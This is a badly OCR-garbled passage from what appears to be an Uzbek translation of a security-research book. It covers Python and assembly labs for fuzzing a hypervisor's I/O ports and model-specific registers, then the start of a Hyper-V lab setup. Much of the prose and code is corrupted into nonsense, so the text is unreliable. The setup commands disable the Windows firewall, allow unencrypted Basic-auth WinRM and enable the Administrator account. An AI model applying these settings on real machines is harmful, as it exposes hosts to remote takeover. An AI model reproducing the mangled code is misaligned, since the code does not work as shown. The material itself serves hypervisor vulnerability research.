[’fengrh'. Ulnt64(1024)]. ['vpe’. Unt32(2)]].

keyin belgilar va manzil maydoni r.na'lumot-
ni kuzatish mumkin. Keyingi bo‘hmdha ush-
kodni bajarish uchun so‘rovlar

Bu yerda, OOB xabarini. undan .

) Mk " I

larini 0°z ichiga olgan )-ul\IE‘lSh xaba e e

bu xabarlar ko‘rib chigiladi va guestda ;
amalga oshiriladi.

ishi 24.4: Kod inyeksiyasi (Python)

Laboratoriya ‘tishdan oldin kerak bo‘ladigan bir

Guest sinfiga kerakli o*zgartirishlarni Kir

i si : ‘otirasi iratilean. bepul
nechta yordamchi smﬁar.b o magsadi guest otirasiga ajratilga 5
— bu si g =
* RemoteMemory

i I itasi ma’lumotlari-
i xotira xaritasi ma’lum
' dim etishdir. U yuklash xabarlarining X0
Interfeysni tagdim ¢ g

dan namuna oladi.
* Code — bu sinf "y
. . 1
rish uchun assembler chaqiruvir

blerni 0°z ichiga olgan satrdan ikkilik kod ishlab chiqa-
¢ sai >
e bstraktlashtiradi.

# remotemem.py
import portion as P
class RemoteMemoryError
pass .
class RemoteMemory.
def _init__(self):
selfimem = P. en.'pf_l-'{ )
self.allocations = dict() _—
def add region(self. base. SI= e 41560
interval = P.opench}sed(bﬂs"- '
self.mem |= interval
return interval o

; : ), size).
def del region(sel, r'l'h‘-“-}} S »
interval = Popenclosed(base.
self-mem -- interval
return interval
def alloc(self; size):®

Jor interval in self.men: G

((Exception):

ase + Size)

B —



@

if interval.upper - interval. lowey >= gj=p.
allocation = self. de!_mgfanﬁmerv
self. allocations, allocation. I
retwrn allocation, lowey

raise RemoreMemarjvErr'or( ‘out of memory’)
def free(self, address):

self mem |= se{,(aﬂocaf:‘mrs[address 7|
del self.allocati ons[addyess]

al lower, sj-¢)
wer] = allocation

Samarasiz taqsimlash sty anadi, ammg dastur ehtiy
yetarli bo‘ladji.

# code. py

import os
Jrom subprocess import yyn
Jrom tempfile in
class Code:
def __nit_(self, code, sym)-@
self.code = ‘[his 64]\n’
selfcode += |, Join(f"{k} e

port Named?'emporwy!’ ile

TV for (& v) i sy -
self code += 'H;z%fnc.’ude "macms.asm "n 4 c) ”; Yrele o)
def build(self; base_addre.s‘s);@

with Na.ured??zmpora:yF ile(“w)
Lwrite(f ‘forg {base_addyegs.
S Aushe)

run(f nasm -fhin - {fname} pin
with open(f (. name}.bin’ p )
ret = fout.read()

os.remove(f" {f. hame}. bin’)
return ret

as f
e\ + self. code)

{f. hame}

shell=7;.
as fout: )

Code @ yig'm, kod
ta’riflari yig‘mg kodga
qo°shiladi, bu yerdy max
gona usuli build ¢ bo‘lib
kodni kompilyats;

Endi Guest k|

qatori vg o

‘include Macr : fllidan Yaratiladi, Ushbu timso!
05.asm” (jpa tivasi bijan birga oldindan
sus makros|ary; 0*shi

» Uasse i chaqion v TUMkin, Ushby klassning_{;a
Ya giladj, Natijada ko acf"a I'va belgilangan asosiy manzi
35N 0 2artirish - 00‘lgan ikkilik kodn qaytaradi.

Irishnj davon, Cltirish Mumkin:
# guest.py
import subprocess
import protocol

Jrom enum import Enuy,
1im
Jrom remotemen, POFt Rey, ote) etion,

; ‘ astlabki bosgichdy ishlatiladi. Obyekt
an so Ng. Xotira alloc g orqali so*ralishj mumkin, bu juda
ategiyasidan foydg| ojlari uchun

class OpTipe(Enum):
Write = 0

Exec = {

class Guest: ‘

.. omitted for brevity = -

de,:" init_boot_info(self. symbols, mmap)

suﬁ.’?rsmﬁuz’x = dict(symbols) .

self. };}L‘.'Hf]l!:l' = Ren.‘u!e:\fenm{j ()
ftlr" entry in map(dict, mmap):

- g~ g g " = ‘,:

if entrv[ tvpe -

/ -Lt-;u}.‘fwuo?'_ MEMORY_AV4 :jdA is J—
?L"Iffm.'rmm:add_regicm(emry[ a ‘ H: U\-}nﬂ(j)‘& i
:’-’:.’.;'J;wf end = (self.symbols[ '_eu;f {”‘;) ;

self. memorv.del_region(0, kernel_e

lef messages(self): ——

it'fjrrife self.proc. rcmmcaf{e {s N f:;; »

msg = p; otocol.reeviself.proc.s

msg tpe, body = msg , :

iffi;{: pe == pmmc'n!._ J‘lmB:l:;

.;-‘e!f,' r;'.*! boot_info(**dict(bod

9 I To— e

.Ifhfj if;:}}:ijm(wiﬁ code, address=None)

e, sel

o ._, - 1o N 2! ) 0

!ff;fd‘ s J:t':'}f::;mun: alloc(len(code.build(0)))
address = self. ;

elf_request <=1 e
sjgrij f:Ulnt32(OpType. Write.va

’{; olocol é w”m4{“{!‘:!??;;;- v in code.build(address))
. 010C Ulnt8(x) for:

tuple(protocol.f.

/

return address —
def up_;-:_rec(se{;‘. :cr:dtfrt's.'-).
self. request += R
;;i,:m:tc:; £ UImt32(OpTipe. Exec.)
pmmmi.: 1. Ulnt64(address)
/
def op_commit(sel W i
pf'nmcr;{.seud(sebf;jl oc. Sl

wf ol -(
self._request.clear N
def execute(self; mdb-"j::'ade)
address = self.op_wWrile
self.op_exec(address)
self.op commit() -
self.memory. ﬁve(aa’dr 2585)

. self._request)

malga oshiriladi, shuning uchun endi
aa

. i ikki siyatni
essages usulid fo © chaqiriladi, bu ikkita xususiy

Birinchi o'zgarish MEX "\ ot in
Yuklash xabari kelgand:l va memory
boshlash uchun: symbo’s svirlaydigan m
Mavijud xotira hududlarini t

)
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qo‘shiladi va yadroning oxirigacha bo*lgan nol manzil diapazoni mavjud xotira-
dan olib tashlanadi.

So‘rov xabarini tashkil qiluvehi operatsiyalarni yaratish uchun yangi usullar
amalga oshirildi:

* op_write ® — Code instansiyasini (va ixtiyoriy ravishda asosiy manzilni)
qabul qiladi, kodni quradi va hosil bo‘lgan ikkilik kodni yozish operatsiyasida
kodlaydi, keyin uni so‘rovning operatsiyalar ro‘yxatiga qo‘shadi.

* op_exec ® —manzilni gabul qgiladi va uni bajarish operatsiyasida kodlaydi.
operatsiyalar ro‘yxatiga qo*shadi.

* op_commit @ — operatsiyalar ro‘yxatidan tarkibni olib, so‘rov xabarini
quradi va yuboradi.

Ushbu usullar past darajadagi API'ni taqdim etadi, ammo eng keng tarqalgan
holat uchun execute ® usuli amalga oshirildi, bu faqat Code instansiyasini talab
qiladi.

Ushbu yangi funksiyani guest tizimda kodni bajarish orqali sinab ko‘riladi:

# main.py

import protocol
Jrom guest import Guest
Jfrom code import Code
[from enum import Enum

class OOBType(Enum):

Print = ()

with Guest() as g:

Jor (msg_type, body) in g. messages():
if msg_type == protocol. MT. OOB:
0ob_type, *msg = body

if 0ob_type == OOBType. Print.value:
Jmt, *args = msg

print(f " PRINT: [fimt % tuple(args)}’)
if msg_type == protocol. MT. Boot:
print(‘BOOTED”)
g.execute(Code("""

OOB_PRINT “hello world!"

REPLY EMPTY

ret”"", g.symbols))®

if msg_type == protocol MT. Reply:
print(f'REPLY: {body}’)

Yuklash xabari kelganda, skri

Pt guest tizimga ‘hello world!® ini yuborish
uchun kod parchasi kiritadi . orld!” xabarini yu

Eslatma. OOB_PRINT va REPLY_EMPTY makros), wi
da aniglangan, ammo qisqgalik uch

2[]“}

“macros.asm " fayli-
1 kod ro‘yxatida bu fayl kiritilme 191,

(root = ghht)-[/labs/lab4]
I—_#m'.'!mn.? main.py

PRINT: kmain at 0x000000000040131b

BOOTED

PRINT: hello world!

REPLY: []

Bu yerda kiritilgan kod tomonidan yaratilgan “hello world!™ xabari va bo*sh
Javobni ko*rish mumkin.

i iy ta’minotni testlash
Fuzzing — dasturiy ta'mino : . o
1 bilan VMni ishga tushirish va Ring-0 da o zbosh:mchah-k bllar-:
] 10 barchasi fagat bir nechta Python qatori orqali
- larni berkitish(fuzz) uchun ishlatiladi!

Hozirgi tizis .
kodni bajarish mumkin. I%lul.amn.
amalga oshirildi. Endi uni gipervisor

Fuzzer bazaviy sinfi
i : i vazifalarni o*
Fuzzerlarni yozish bir necha takrorlanuvchi vazifa
asosiy sinfga ajratib olish mumkin:

zichiga oladi, ularni

# fuzzerpy

import random

import signal

import protocol

Sfrom enum import Enum

Srom guest import Guest

from code import Code
class OOBType(Enum).
Print = ()

Assert =1 |
lass Fuzzer: it it wbp’ TSP
:'eg_\- : :'m\' | orbx’, rex’ "_'d}" iy !_:{.h vl 55
+8 9", w10, ril’ 2%, 3 TER

def _init__(self. seed) 0 2

se{/.:;md " randm?-:; i?gfﬁf: eF wzzer-timeout_handler)
signal signal(signal. '
(@staticmethod _ ‘
aFr.’f n':neam_hm:d!e."(-&‘fg””"""ﬁ ame):
raise Exception( TIMEOUT)

def come.\'{_sm't’fﬂ-’fﬂ-' _—_

return ‘pop rax\n’* ‘In -.»’m”(’ o+ n*8:Hxl], freg}t’

f'mov gword [{ Sey_‘mmexrramqw +

Jor (n, reg) in emtmw'afefse"f“"’»

def context_restore(self): —_

return “\n'join( rea + n*8:4X;/

JS'mov {mgf‘. qword [{se I cr;ﬂ:‘f-;::;)j’ + “pjmp raxin

Jor (n, reg) in enumerate(s¢ If.

def code(self, code):
< 201

e O



return Code(code, self.guest.symbols)

def fuzz(self; reply):®

raise NotImplementedErvor

def on_boot(self; body):®

self fuzz([])

def handle_message(self; msg_type, body):
if msg_type == protocol. MT OOB:

- omitted for brevity ...

else:

if msg_type == protocol MT. Boot:

self.context area = self-guest.memory. alloc(0x] 000)
self.on_boot(body)
else:

self fuzz(body)

def run(self) :®
while True:

ry:

with Guest() as self.guest:

Jor msg in self.guest, messages():
signal.alarm(0)

signal.alarm(2)

self. hand!e_message (*msg)
except Exception as e:
print(f exception: fe} )

Fuzzer (yoki har qanday olingan sinf) obyektlari fuzzerning psevdo-tasodi-
fiy holatini ishga tushiri i i i

di va fuzzer yangi guest bilan

qayta ishga tushadj.
Javob xabarlari quyi

\ sinflar tomonidan amal
® usuliga yuboriladj. Kiruvehi yuklash Xabarlari

lanadigan kichik sinflar tomonidan boshqarilishj
tashqari yuklanmagan bo‘lsa, b

Nihoyat, kod Yaratish uch i
save va context_restore).

ga oshirilishi kerak bo‘lgan fuzz
on_boot ® haddan tashqari yuk-
mumkin. Agar on_boot haddan

L-aboratoriya ishi 24.5; 10-portlarni fuzzing qilish

' zishdan magsad — turli gismiar qanday ishlashinj 0°rganish. Shu-

ning uchun, bq holatda foydalan i ‘ra, soddalikka e’tibor qaratamiz.
Bu fuzzer Juda oddiy, tasodif ruksiyalarini ishlah chiqadi:

Fuzzerni yo

* POrt_fuzzer py
import sys

o B 0
tﬁmonidan ishlatiladigan P

import fuzzer _
Jrom code import ( uffu .
class Fuzzer(fuzzer.F uzzer ):
dt{f_fnff. (self, seed):

super(). _init__(seed) :
self.discovered ports = [{7 -
self.blacklisted_ports = list(rang
def fuzz(self, replv):

if reply:

port, value = reply e
ifvalue != (1 << \'u!:.*c,w.fdn':; -r'”'”‘

) A . C e :
and port not in self.discove ’ :' : :para!rw;ﬂ&vf )
prini(f"New port: {port:04; “" ’n:ﬂ
self.discovered ports. HPJ'-""";;U; )
size = self-rand.choice(( ‘?’ "’mf., [size
reg = [8: ‘al’, 16: ‘ax’, 3< ;ﬂj /

port = self.blacklisted _por r.; i
while port in self.blacklistec _{q.;e!ﬁ‘ﬂ"‘ 1 choice(
il not self. discovered_ports {()Hﬁ]‘}jo

port = s;’.:"ffrm.rcircﬂ:‘c."fﬂ."ff»'- XL

else:

Ox3f8, Ox3f8 + 3))@

(True, False)):

orts)®
; -discovered_p
port = self.rand.choice(self.dis¢

op = sc‘{f.'.":md,(':"mh‘lt’_('f

S "mov dv, {port:#x]

in {reg}, dx S
PUT VA Ulnt16, rdx, UInist
REPLY

e}, rax®

S " mov dy, {port:#x}
mov {reg). {self.rand.ran
out dx, {reg}

REPLY EMPTY ) + selfcol
””;‘U If.cod. (seffcun!e,\'rrﬂ“"'” o

code = self.code(self.

self.guest. execute(code)

¢ < §iZ€
dint(0, (1 <<

mext restore())

i _name == "_'_,J.'.I'ﬂf-r'f._._. ‘ A ilgan pOrtIar
- — . un() : ‘shildi: top1lg
Fuzzer(int(sys.argv( 1)) ' Xususlyat qo shi lik uchun seriya
hik sinfigd kit h bilan chalkashmasli
kichi sh

. " i
Ushbu yangi Fuzzer Kolni tash

rotOROGH shirilgan 4ot ida IN (kiruv-
1O"Yxati @ (dastlab bo'sh) Vﬂrtqal- pilan ishga siyaning javobi

g jud-
i iteratsty na’lumotlar mavju
sa OXIFE! a olingan me = == ilmagan
Fuzz giladigan hiriﬁ?“ -n?-i ishi ”amas-ldqbar'::hEl bitlari © ? ?f?)’xatgiga
hi) buyruecining oldingi DU o uning ni topilgan portia
gy AL mmgA ar bu ma mh ning uchun U
8Ini tekshirish. Ag ‘1adi, shu

. - ]Ia 2
90 shamiz.

qora ro‘yxat @.




Magsadli portlar tasodifiy yaratilgan 16-bitli
portlar ro'yxati ® elementlaridan olinadi,
kerak.

IN (kirish) yoki QUT (chigish) ko*rsatmalari tasodifi
da javob yuborish uchun qo’shimcha kod.

butun sonlar @ yoki topilgan
lekin ular qora ro*yxatda bo‘Imasligi

Y tanlanadi. IN (kirish)
ragami va magqsad ope-
dida tasodifiy qiymat @

va boshlang‘ich qiymati argument; uzatiladi:

[_—(roof = ghh6)-[/labs/labs ]

# python3 port Juzzerpy 12345
PRINT: kmain at OxOOOﬁOOOOOO-—JO}qu
New port: 0718 -> 00000000
New port: 0707 -~ 00000000
New port: 00dd -> 00000000
New port: 0724 -> 00000000

_ Laboratoriya ishi 24.6: MSR Fuzzer

anish misol; bo‘ldi, ammgq undan ko* cut
: R J narsa kutish mum-
kin emas. Endi biroz murakkab P

abroq bo*lgan fiyzzer bilan davom cttiriladi. Keyingi
. : | . Keyingi
fuzzer tasodifiy RDMSR/WRMSR Instruksiyalarini ishlab chiqarib, modelga xos

registrlarni fuzz qiladi. Garchj bu hali ham jud

‘ di. ! a oddiy fuzzer bo‘Isa-da. shunga
o*xshash fuzzer haqiqiy Xatolarni, Mmasalan, CVE-2020-075] ni topishga qodir
bo*1di.

#msr_fuzzerpy

import sys

import fuzzer
Jrom code import Code

msrs = (@

Ox00, 0x01, 0x10, Ox17. Ox1h,
- omitted for breviry

Oxc0071703 9, Oxc007} 03a, Oxenn 103p, Oxc0077 03d
)

def ROR(x, n, bits):

relurn (x >> ) | (v & ((2%
elass F; uzzer(fuzzer uzzer);
def __init__(self seed):
super().__im’f___(seed)

self. dflvcovered_msrs = diect()®

0x20, x> 1, 0x28, Ox29, Ox2gq, Ox2¢, Ox3 Bl

*n)- 1)) << (bits - nj)

et

O_ZE%artirishga imkon berila
® Qilgan yoki yozilgan ma

Yratmaganligini bildiradi.

def fuzz(self. reply):

if reply:

msr, rdx, rax = reply keys(: >
if msr not in self.discovered_msrs. €) N e el
J;Jf‘fﬂrfff ‘New MSR:{msr:08x} -> rdx. *" ) :
.'-‘elf.'fa;i,\'c'm‘wt’d_r?mﬂ[ msr] = (Hi‘-:ﬁ-;;:l:‘ l
rdx = self.rand.randint(0, (1 "-_“‘ A
rax = .s‘m}f."raminmd.‘nr(ﬂ- (== 6. e
if not .s"cf;ff discovered msrs or self-rand.
;‘c:x‘ = .\‘c;’}’.‘mndchni{'r_’{ msrs)

else: -
rex = self rand.choice(list( -'-'L’U:d"_“m'ﬂ
if self.rand.choice((True, Fm'sc'JJ.‘ 8
rd, rax = self.discovered_msrs[rex
rdv = selfflip bits(rdx, 64)

rax = selfflip_bits(rax, 64) "

if self rand.choice((True, False)).

rex = selfflip_bitstrex, 32)®

op = self.rand.choice((

I " "mov rex, frex:#x)

hoice((True, False)):

od msrs.kevs()))

rdsi e Unt64, rax
; ;i?f VA Ulnt32. rex, Ulnt64, rdv, Uln
REPLY
S mov rex, frex:#x}
mov rax, {rax:#x}
mov rdx, {rdv:#x} ©
Wrmsr Ay, Ulnt64, 7ax
;:B}?r}jt}l Ulni32. rex, Ulnt64, rd%, Ul
REPLY olf.context_restore()
ey ontext_sel) + P+ 5
code = self “code(self.context_s@
self.guest.execute(code) e T
i _name =="__main_ - ! ‘rnioa. murakkab
Fu::cr(."m(sys.a'u'.é.’l'["ﬁ)'f””0 MSR ishlab Chiq'Sl]] ¢ r:]falh (masalan,
: ‘lmas -
rdan at to*liq bo*lm larini
) n sonlardd ‘yxat ‘yxat elementlari
Bu safar tasodifiy l.)u-{:l, ishlatiladl-BU r?)__) ), fuzzersd -r(;'f; yangi MSRlar-
Kodlangan MSR I"""}(xaumsinteti > gun u vagt o"tishi O
l‘Dervi:atorgz1 xos bo‘lgan st huning U¢
3 dl 9:' 5

SR, balki
huning uchun nafaq.at M e
apadh 9,? hu tarzda, oldingi mazm ke
saq a_d!‘ S mumkin. WRM.SFE (')phe'r?sti syno
.dnhs'h]struksiyaning bajarilishi i
i buin
unki bu1

' aniglashi mumkin.

- Jue‘atda
Aniqlangan MSRlar lufmu“ ha'.u a

128
= : ing tana

ngi lteratsiyalarning fuzi:ogladi ®,C
"'Ming mazmuni ham yu

<3(li




flip_bits ® metodi ma’lumotn

I 0°zgartirishni amalga oshirish uchun ishlab
chigilgan. U ikkita argumentni

qabul qiladi: 0*zgartiriladigan ma’lumot (butun
son shaklida) va bitlar sonj. | dan o‘Icham argumenti oralig*idagi bit uzunligi
tasodifiy tanlanadi, bu kichik 0‘lchamlarga yuqori ehtimollik beradi. Ushbu bit
uzunligi ma’lumotlarga qarshi tasodifiy bjt niqobini yaratish uchun ishlatiladi.
Fuzzerni ishga tushirish quyida keltirj Igan:
E—(mor = ghh6)-{/labs/lab6 ]
# python3 msr fuzzer Py 12345
PRINT: kmain at Ox00000000004 012fa
PRINT: kmain at O.rﬂﬂ.’}(}UOOUOOJW.’ﬁJ
PRINT: kmain at 0.\’000000000040[.?]’0
PRINT: kmain at Ox000000000040; 2fa
PRINT: kmain ar Ox0000000000407 2fa

Istisno ishlov berish mexanizmini amalg
lashtiruvchi miqdorda qayta ishga tushirish]

a oshirilmaganligi sababli. qiyin-
sezilarli darajada sekinlashtirad;.

arni kuzatish mumkin. Bu jarayoni

o Laboratoriya ishi 24.7; Is¢;
y To‘-g'rldan—to‘g‘n. lstlsr?olardan foydalani amalga oshirish cheklov-
chi omilga ega: har bir ' i ishlashinj oldindan bilip bo*Imaydi.
hllmga intilish kerak shunin

e ! tiklanish strategiya-
» AMmo ?ddl}’ na oladigan standart
nda barcha fuzzerlar

# fuzzer ny
class Fuzzep-

- omitted for breviry. .
def on_boot(self; body):
self; install_id()
self fuzz([])
def fnsfaﬂ_:'dfr’se{ﬂ vectors
entries = (f*]. #x}, th: g

Jorl hin map(self.make vectoy
por' ks i -Yector_hanciley. range(veciors)))
ser'jfguesr.op_wr.ife(

self.code(f™ " “lidt [ idtr]
ret

align 16
idtyr:

=30):0

dw idt_end - idt - 1 : IDT limit

dq idr

L ADT base

align 16

I‘C'h.' (fff !r i ‘Jr;j;;(cn.’}'.ft‘.\‘)f@

idr_end:

")) ec): O
def make vector_handler(self. vec):
err_code = * —
code = ‘REPL Y EM [PTYn + 8¢
~omitted for brevity... «ode(err_code
address = self.guest.of ?—“?.m’-t‘s‘f(j’!‘;f;';}li >> 32)0
return ((address & Oxfff) | n'“, < §) << 32) Lo
((address & Oxfff <= 16) | 08/ <<€

If.context_restore ()®

+ code))®

ngaytirish lozim: on_
h va istisno ishlov beruvchllan_n
¥ tall idt usuli vektorlar soni-
il make vector_handler @
unyozuvl?ar yordamida yan-

h uchun Fuzzer sinfini ke
1

T’sini O“mag
«vi go-shila
/ aqiruvi qo st
Kiritish uchun install_idt @ ch.'lia har bir giymat Pldln
Ni (standart bo“yicha 30) Oiziic:glzr tomonidan gaytar! &
¢hagiradi. make vector_han

8L IDT @ hosil qilinadi.

i - : <hni qo‘shis
Istisno ishlov berishni q:DO 5
boot metodida yangi guestning

ini boshqarish uchup
li ko‘rsatilgan .‘FektofsiizgillITlll::Lin Lmiq ishlatl-.-n?ydL
make_vector_handler ust uni guest kodiga d° avtaradi®. Standart bo*yicha,
assembler | kodini hosil q'i ].ﬂdl vahgaﬂ IDT )’Ozu\flm q lfod faqat bo‘sh J'?"Ob }fu.bﬁ-
€yin u ishlov beruvchi JO}Il?dSqI; ishlab Chiqanlga;nda)’ qo‘shimcha 0°zgartinish-
mal.{ejecmr—handlei;? ;:Lcl)::tllm likia}’digi\,gei‘i::hqﬂwlnkin.
r::'jsl i:.aa(\)flilifilI\I:I(ggfuzzerini qayta SN

E!’ root = ghhot)-[/la bs/lab7]
#

, 00
pvthon3 msr_fuzzerpy °= 012fa \‘:ﬂﬂﬂﬂmmnogmm

PRINT: onan a n,vnnnnﬂ?f’ggg:unnaﬂm’mgﬂ?} :-{;\-.-onnnnnooomﬁ{;f;ﬂ”

New MSR:c0010112 -> "d‘.'.nno(mom?””“m 31 rax:2220718¢ 'Sf;oénaoo

New MSR:000006¢0 > "‘ﬁ.'.gﬂg.’c:ﬂb*’" B 4 vax-000000000

New MSR:00000187 -> : i:, 0000000060606

New MSR:00000238 - 14%:

bilan fuzzing
lar soni kamaygan Va shu
uklashia

E . ta y
Ko‘rish mumkinki. qayt

ezlio: . va
Zl'gl yaxshilangan. i amaslahaﬂﬂ"

: k
’ rilgan freymvor.
jidi, ammo & hida kelti-
: Jar yaratt bobning boshida
kkita judd oddty f“-zzero peradi. Ushbu bo ozish uchun ilhom
Ushbu bobda ikki e

i qilishga ™ ( fuzzerlaringiznty
Undan ancha ko*p narsalar atidan ©

- ning ro'y¥
"lgan VM_Exit sabablarinin® &




sifatida foydalaning. Ayniqsa. 48 va 49 chiqarish sabablariga e’tibor bering. ular
boshqa ko*plab narsalar gatori xotiraga mos keladigan 1/0 emulyatsiyasi uchun
ishlatiladi.

Seriyali port sinov va o*rganish uchun ajoyib. chunki u keng tarqalgan va ish-
lash oson, lekin u fuzzing uchun juda sekin. Agar u virtualizatsiya qilingan bo*lsa
va jismoniy cheklovlar bo‘Imasa, nima uchun sekin? Sababi shundaki. uzatilayot-
gan har bir ma’lumot bayti uchun bitta VM-Exit yuzaga keladi va giperuzatgich-
dan uning foydalanuvchi rejimidagi ishlovch; jarayoniga kontekst almashinuvini
kutish kerak bo‘ladi. Tegishli tezlikdagi fuzzing natijalarga erishish uchun u umu-
miy xotira halqa buferi orqali ma’lumotlarn] uzatadigan paravirtualizatsiyalangan
qurilma bilan almashtirilishi kerak.

Maxsus yuklovehi GRUB o'rniga ishlatilishj mumkin. bu orqali yuklash vaqt-
lari qisqartiriladi — yoki undan ham yaxshisi, agar magsadli giperuzateich t0*g"ri-
dan-to°g°ri yadro yuklashni qo‘llab-quvvatlasa (masalan, PVH11), y:;k[ash jara-
yonini butunlay chetlab o‘tish mumkin, '

Yadroni yanada bardoshlj qilishning ko*plab usullar; mavjud: masalan, oddiy

' arini fagat o*qish uchun belgilash va istisno ishlov
beruvchilar uchun maxsus steklardan foydalanish (I1ST] 2) mumkin.

Oxir-ogibat, hqzirgi amalga oshirilishda mijoz nishon muhitidg ishlaydi. Ideal
yechim bu Guest sinfini serverga aylantirish (magsadi; muhitda ishlashi uchun)

hbu £ bir freymvork
shbu I
oddiy fuzzers ishlab chigildi. Bobpj e foydalanib, bir necha

foydalanish va unj yaxshilash bo‘yj

- _ Foydalanilgap dabi
I. “Fuzzing para-virtua son adabiyotlar

lized devices in H i i
. ) yper-V, - ; fi.
comg zgiﬁfulf'lzi’guzzmg*l)ara—vmualized-devices—inp-hyper-VTSrc S
Vi i : ¢
i S0ce 4./0D °VICe (VIRTIO) Version L1, Committee Specification,” docs.
Pen.org/virtio/virtio/y ] l/esprd01/virtio-y 1-csprd01_htm] ’

3. “Unikernel,” en.wikipedia.org/wikifUnikemel‘

geru v B 2 rub/html
I i b-mkrescue.” WWw \-'.ﬂnu.orbf’softwarefcrubfmanuaL’g
4. ~Invoking grub- i

node/Invoking-grub_002dmkrescue.html.
8 “Multi%ohoﬂ gpeciﬁcation.“ WWW.ZNU.o
ot2/multiboot.html. .
](,.LE!IC[?‘::(S:T]UCL" construct.readthedocs.io.
7. “fixedint.” pypi.org/project/ ﬁ"ied‘;‘t/'
8. “cre32c.” pypi.org/ prqject/crc.n?c '/
9. “portion.” pypi.org/ ijewpomont -ecu
10. “CVE-2020-0751," labs.bluefrosts tir
11. “PVH.” .\'enbils.xen.ofgfdlocsm'6-tgsoﬂ
12. “Intel 64 and 1A-32 Architectures intel.com/
3: System Programming Guide.” SOﬁw:11“?"zliacd.13df'.
nal/ L;sa’enfdocu;nenls-tpsf3253 84-sdm-voi-2

rg/soft\\r'arefgrubf manual/multibo-

rity.defadvisoriesfbfs-sa-2020-00 1/.

1o/misc/pvh.html.
\‘:'are Developer’s Manual, Volume

content/dam/develop/exter- -
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25 BOB. HYPER-V ICHKI TUZILISH]

Ushbu bob quyidagi mavzularnj 0°z ichiga oladi:
* Hyper-V arxitekturasining umumiy ko ‘rinishi:
* Sintetik interfeyslar: MSR, Synl

C, giperso‘rovlar:
* VMBus aloqasi.

Microsoft Hyper-V xavfsizlik tadqigotchilari uchun jozibalj nishonga aylandi.
Ushbu gipervisor nafagat Azure kabj muhim bulutlj ;
rish uchun ishlatiladi, ba
yatlarining asosidir, jumladan
(HVCI), Credential Guard va

Hyper-V yangi kelganlar
kirish bo*lib xizmat qgiladi, u s

izimining xavfsizlik xususi-

dan himoyalangan kod yaxlitligi
Application Guard.

| 51zga uni urasi hagida umumiy ma’lumot
ualizatsiya interfeysin; qamrab oladi (bo*limlararo
alogaga e’tibor qaratiladi). Bir bobda Hyper-

! . V ni chuqur muhokama gilish mum-
kin emas. Bu yerda muhokama qilingan tushunchalar tadqiqotni o‘tkazish kerak
bo*lgan yo‘nalishni berish; kerak.

Virtuahzatsiya muhitini yaratisp va sozl;
Ishni boshlashdan oldin, sinoy]a el

i o‘tkazadigan -V tizimini sozlashi-
miz kerak. Hyper-V Windows § va Windows Se%vergyﬁgzr-d\;l: ‘ELTIZ';AS‘;?_b““
tizimlarda mavjud bolib, Inte| VT-x yoki AMD.y yordamida apparat yordamida
virtualizatsiyani talab giladi (ARM64 ham qo"llab-quwatianadi) Xostda Win-
dows 10 Pro (x64) versiyasi va VT vatlovehi 64-bitl; Inte] CPU qo'l-
lanadi. Hyper-V-dan foydalanishnp;

> a0 oldin unij i Power-
Shell orqali (Administrator sifatida irilishj mg:q?(’i? kerak. bu Pov

X qo*llab-quy
boshlashdan
) amalga osh
PS C:\WINDOWS \system3 2~ Enable-
Microsofi-Hyper-v . 41

Do you want 1o restart the computer to complete (),
[Y] Yes [N] No [?] Help (defaulr s "yn).

Wl'ndmuy()p; ionalFeqpyre -Online -FeatureName

is operation now?

DIQOAT
Hyper-17 Windowg Home-dg nen

; . Jud emas. Pro.
mm"n‘/umu'm?_fn_\-(/.:;jm;,{v;? kerak.

Enterprise Yoki Education

Hyper-V yuklanishj
uchun 24-bobda ishla} chi
gi vositalardan foydalanilag;

2][J>

—_———

ik ::___i “mijoz” qurilmasida
masi (“tareet” box) bilan bir xil tarmoqqa ulangan ikkinch 0z q

“miioz” quri i boshqa jismoniy yoki vir-
ishlaydi deb taxmin gilinadi. Ushbu “m1joz c-lun[}:jlsijocke? oj‘matilgan bo‘lishi
tual I‘TI'IShiI'I:] bo*lishi mumkin., ammo unda Linux

<

i ¢ ositalarni klonlanadi:
kerak. Ushbu ikkinchi qurilmada GitHub-dan kod va v
- king/GHHV6.git
S git clone h!rpx:.-'-'gi!huh,a‘amfGer‘HaerMng

cer k ini qurishdan oldin
Gittlh ahigilgaan 30 58 'Doc}?e'r l;:?m:t)g:le;rini Elahrirlash kerak.
i I\O-I‘t hene guest.py faylining birinchi 4 fayllarni nusxalash,
GH H\.-oxchzanabs/hyg’irmwet box™) quisiga ulanllsh. unga faylm el
: Eyida “mpse e ‘lgan ma’ :
gﬁﬁu Ia'}ldala[sTl: \Ef]a ishea tushirish uchun zarur bo‘lg
-larni soz g

Xost = “liyperv_box’
proxy _port = 2343 ‘
user = ‘Administrator i
password = ‘passwordl 23
deploy = True o -
Plo; p ) nomi yoki IP manzili bilan almash
omet

V box ning tor hisobiga tayinlangan parol

Hyperv_box-ni Hyper- V box ning Administra

tiring v 123-parolni Hyper-
bilan almashtiring. . larni ko chirish kerak bo la-
a bir ”""!”.”'M} f:u'm bu nusxalashni amalga
Lpy skripii th }‘uwrmm:‘ tezlashtirish uchun.
. ’h;:iih.z:ruﬁ-umf to ‘xtatish uchun dep-
7 50 18

kin.

* aurilmasig

Maslahat: Hyper-1" g {{ s

“"’I- -'\'f'(HhﬁH'f .v".':'l'f't'f!d- f‘;‘y.f?l'” ;-{(f ke

e YRR

OShiradi, lekin bu fagal bt } Joandar

- chirile i

Tavllar birinehi marta ko “{";’; '“‘_c,m-;jm.\'f: pim

i s Eales (11D = i

"o o <garuvchisini False 4 -+ 4 mumkin (GHHv6/ch25/ papka

ushiris

gat

(e satih 160
Endi Docker tasvirini yarat

Sidan);

S docker build -t kali . ¢ -it kali bash

$ docker run --network x0s Hyper-V QU
by EYPRTC A
lilubl1U11 quyidagt g

tisica uzoqdan PowerShell
U - -

ni Administrator

ini o°ch larni

rini 0°C
Windows himoya devor'! R

.. 1oiladi, BUI

°rqali kirish huqugini berilad

; ic, Private --nab-
Sifatida bajarish kerak: _Profile Domain.Public. Priva

. allprofile
o NetFirewa:
PS C:\wINDOIS\svstem32” Set-:

leq False

7
PS C:\lvINpOIWS system3?
‘..Of?lffredfor brevity...

Ie—PSRemomrg -Force

> Enab




Configured LocalAccount TokenFilterpPo] icy to grant administrative
users.

PS C:\WINDOWS lsyste
-..omitted for brevity...
PS C:\WINDOWS\system32> winrm set
-.omitted for brevity...

PS C:\WINDOWS \system32> Get-Local User

rights remotely ro local

m32> winrm set winrm/config/service "a {AllowUnencrypted="true"}’

vinrm/config/service/auth "a{Basic="true"}’

“Name “Administrator" | Enable-LocalUser

DIQQAT

